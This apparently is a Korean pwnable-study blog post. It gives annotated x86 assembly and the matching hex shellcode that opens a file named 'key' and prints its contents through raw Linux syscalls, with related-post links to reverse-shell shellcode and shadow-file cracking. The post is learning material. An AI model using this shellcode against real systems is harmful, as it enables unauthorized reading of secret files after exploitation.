.globl main
main:
/*===========================================================
스택 프레임 생성
32글자 hash 인자를 읽기 위해 20바이트 공간 형성
===========================================================*/
push %ebp
mov %esp, %ebp
sub $0x20, %esp
/*===========================================================
레지스터 초기화
===========================================================*/
xor %eax, %eax
xor %ebx, %ebx
xor %ecx, %ecx
xor %edx, %edx
/*===========================================================
open( 파일명, 읽기쓰기권한 )
파일 열기를 위해 open함수 호출.
eax 에는 open 함수 시스템콜 넘버 5
ebx 에는 읽고자 하는 파일명 key
ecx 에는 넣을 값이 없음.
그리고 인터럽트
===========================================================*/
movb $0x05, %al
push $0x79
pushw $0x656B
mov %esp, %ebx
int $0x80
/*===========================================================
read (fp, 버퍼, 글자갯수)
eax에는 read 의 시스템콜 넘버 3
ebx에는 아까 open으로 넣은 값 넣어주고
ecx 에는 버퍼값 땡겨서 넣어주되, esp 말고 ebp 기준으로 해줬네. 왜지
edx 에는 글자 갯수 넣어준다.
===========================================================*/
mov %eax, %ebx
movb $0x03, %al
lea 0xffffffe0(%ebp), %ecx
movb $0x21, %dl
int $0x80
/*===========================================================
write(표준입출력, 버퍼, 갯수)
eax 에는 write 시스템콜 넘버 4
ebx 에는 표준입출력에 따른 값 1 (stdout)
ecx 에는 아까 그 버퍼값 쓰면 되니까 그대로 두고
edx 에는 아까 read 의 결과값 넣어줌
===========================================================*/
mov %eax, %edx
movb $0x4, %al
movb $0x1, %bl
int $0x80
leave
ret
\x55\x89\xe5\x83\xec\x20\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x05\x6a\x79\x66\x68\x6b\x65\x89\xe3\xcd\x80\x89\xc3\xb0\x03\x8d\x4d\xe0\xb2\x21\xcd\x80\x89\xc2\xb0\x04\xb3\x01\xcd\x80\xc9\xc3
'Research > Pwnable' 카테고리의 다른 글
| SHA 512, /etc/shadow decrypt (0) | 2014.01.12 |
|---|---|
| FreeBSD 에서 proc 디렉토리에 PID 가 없을때 (0) | 2013.11.07 |
| [shellcode] FreeBSD x86 Reverse Read shell (0) | 2013.08.06 |
| [shellcode] FreeBSD x86 Socket/Connect (0) | 2013.08.06 |
| FreeBSD Syscall numbers (0) | 2013.08.06 |